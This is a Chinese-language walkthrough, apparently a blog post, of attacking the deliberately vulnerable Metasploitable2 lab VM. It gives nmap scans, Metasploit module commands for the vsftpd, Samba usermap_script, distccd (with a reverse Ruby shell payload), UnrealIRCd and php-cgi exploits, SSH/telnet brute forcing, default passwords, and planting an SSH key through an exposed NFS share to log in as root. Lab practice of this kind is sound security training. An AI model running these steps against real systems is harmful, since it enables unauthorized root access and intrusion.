metasploit2-practice
Metasploittable2打靶教程
本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
一、环境准备
本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
1.把靶场放在vmware打开,启用nat模式:
2.启用kali
二、信息收集
3.确认目标:
使用nmap扫描该局域网,确认目标开放端口服务信息。
sudo nmap -sS 192.168.1.0/24
这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。
4.确认操作系统
sudo nmap -O 192.168.1.0/24
也可以和之前的命令一起用
例:sudo nmap -sS -O 192.168.1.0/24
实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130
更详细服务信息,以便收集已公开漏洞
sudo nmap -sS 192.168.1.130
漏洞清单:
从顺序来吧
21(ftp)
vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件
可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。
匿名访问:
1.启用msf
msfconsole
2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞
search vsftpd
3.使用
use 0
显示payloads
show payloads
只有一个就自动选择
也可手动定义payload
4.查看配置
show options
5.设置目标
set rhost 192.168.80.130
6.运行
run 或者exploit
直接root权限
22(ssh)
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run
爆破成功msfadmin:msfadmin
23(telnet)
search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run
80(php-cgi)
先访问该该网站是什么站:
Mutillidae 和 DVWA这两个练习平台就不说了
扫描目录发现漏洞点
2012年的漏洞
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
phpinfo.php ===>php-cgi
phpadmin
search php-cgi
use 0
set rhost 192.168.1.130
run
111(RPC)
auxiliary/scanner/misc/sunrpc_portmapper
只能拿来ddos
139,445(smba)
1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。
smbclient -L //192.168.1.130
use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run
smbclient //192.168.1.130/tmp
SambaMS-RPC Shell 命令注入漏洞
search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run
512.513.514 (r)
TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问
sudo apt-get install rsh-client
rlogin -l root 192.168.1.130
1099(java_rmi)
原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致
use exploit/multi/misc/java_rmi_server
1524(ingreslock):
1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务
利用telnet命令连接目标主机的1524端口,直接获取root权限。
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。
ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:
2049(NFS)
NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。
复现环境:Kali2017、Metasploit2
复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机
1.kali下连接靶机的NFS服务
sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la
2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机
ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130
不过这里遇到点小坑
解决办法:链接
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130
3306(mysql)
mysql空密码:
使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root
3632(distccd)
除了上一节中的恶意后门,一些服务本质上几乎就是后门。
search distccd
use 0
set rhost 192.168.1.130
这里如果我们用默认的payload会no session,这里切换下payload
show payloads
set payload cmd/unix/reverse_ruby
5432(postgresql)
1.爆破:
auxiliary/scanner/postgres/postgres_login
postgresql 密码:postgres
2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码
这是nmap的指纹
也可以通过msf的模块:canner/postgres/postgres_version
5900(vnc)
vnc 密码: password
6667(IRC)
根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run
一把梭失败,检查错误:发现pay失败,切换payload。
查看可用payload
show payloads
8180(tomact)
暴力破解账号密码:tomcat;tomcat
metasploit2-practice的更多相关文章
- Pramp mock interview (4th practice): Matrix Spiral Print
March 16, 2016 Problem statement:Given a 2D array (matrix) named M, print all items of M in a spiral ...
- Atitit 数据存储视图的最佳实际best practice attilax总结
Atitit 数据存储视图的最佳实际best practice attilax总结 1.1. 视图优点:可读性的提升1 1.2. 结论 本着可读性优先于性能的原则,面向人类编程优先于面向机器编程,应 ...
- The Practice of .NET Cross-Platforms
0x01 Preface This post is mainly to share the technologies on my practice about the .NET Cross-Platf ...
- Exercise 24: More Practice
puts "Let's practice everything." puts 'You\'d need to know \'bout escapes with \\ that do ...
- ConCurrent in Practice小记 (3)
ConCurrent in Practice小记 (3) 高级同步技巧 Semaphore Semaphore信号量,据说是Dijkstra大神发明的.内部维护一个许可集(Permits Set),用 ...
- ConCurrent in Practice小记 (2)
Java-ConCurrent2.html :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0 ...
- ConCurrent in Practice小记 (1)
ConCurrent in Practice小记 (1) 杂记,随书自己写的笔记: 综述问题 1.线程允许在同一个进程中的资源,包括共享内存,内存句柄,文件句柄.但是每个进程有自己的程序计数器,栈和局 ...
- 1.2 基础知识——关于猪皮(GP,Generic Practice)
摘要: 这是<CMMI快乐之旅>系列文章之一.说起猪皮(GP,Generic Practice),真的让人又爱又恨,中文翻译叫通用实践.CMMI标准中每个级别包含几个PA,每个PA又包含几 ...
- 2015年第2本(英文第1本):《The Practice of Programming》
2015年计划透析10本英文原著,最开始选定的第一本英文书是<Who Moved my Cheese>,可是这本书实在是太短.太简单了,总体的意思就是要顺应变化,要跳出自己的舒适区,全文不 ...
- Java Concurrency In Practice -Chapter 2 Thread Safety
Writing thread-safe code is managing access to state and in particular to shared, mutable state. Obj ...
随机推荐
- 关于pip3 ImportError: cannot import name 'main'的报错的原因及解决办法
这个问题的出现大多数都是因为你用错误的方法去升级pip3导致的 先来说一下正确的升级方法: python3 -m pip install --upgrade pip 我发现升级后版本变为了 19.x, ...
- 命令查询职责分离 - CQRS
概念 CQRS是一种与领域驱动设计和事件溯源相关的架构模式, 它的全称是Command Query Responsibility Segregation, 又叫命令查询职责分离, Greg Young ...
- 【大数据课程】高途课程实践-Day03:Scala实现商品实时销售统计
〇.概述 1.实现内容 使用Scala编写代码,通过Flink的Source.Sink以及时间语义实现实时销量展示 2.过程 (1)导包并下载依赖 (2)创建数据源数据表并写⼊数据 (3)在Mysql ...
- 1.5 HDFS分布式文件系统-hadoop-最全最完整的保姆级的java大数据学习资料
目录 1.5 HDFS分布式文件系统 1.5.1 HDFS 简介 1.5.2 HDFS的重要概念 1.5.3 HDFS架构 1.5 HDFS分布式文件系统 1.5.1 HDFS 简介 HDFS(全称: ...
- python2和python3的区别(1)
1.python2和python3的解释器的默认编码不同 python2解释器的编码默认用的是 ascii python3解释器的编码默认用的 utf-8 2.python2和python3输入的表示 ...
- 说透 Kubernetes 监控系列 - 概述
本文作者孔飞,来自快猫星云团队,Kubernetes专家,Categraf 采集器核心研发工程师 云原生包含了开源软件.云计算和应用架构的元素.云计算解决开源软件的运行门槛问题,同时降低了运维成本和基 ...
- 前端h5适配刘海屏和滴水屏
前端适配苹果刘海屏,安卓刘海屏水滴瓶 其实w3c早就为我们提供了解决方法(CSS3新特性viewport-fit) 在w3c.org官方给出的关于圆形展示(Round display)的标准中, 提到 ...
- MongoDB - 模式设计
注意事项 模式设计,即在文档中表示数据的方式,对于数据表示来说时非常关键的. 为 MongoDB 做模式设计时,在性能.可伸缩性和简单性方面是重中之重,也需要考虑一些特别的注意事项. 限制条件 与常见 ...
- 就dispatch_source_t写的计时器
直接上干货,我这里用的是Xcode12.4,macOS:11.2.3 OC版本: swift版本:
- Runloop的使用
系统为我们提供了多种模式,下面列一些比较常遇到的: kCFRunLoopDefaultMode: App的默认 Mode,通常主线程是在这个 Mode 下运行的. UITrackingRunLoopM ...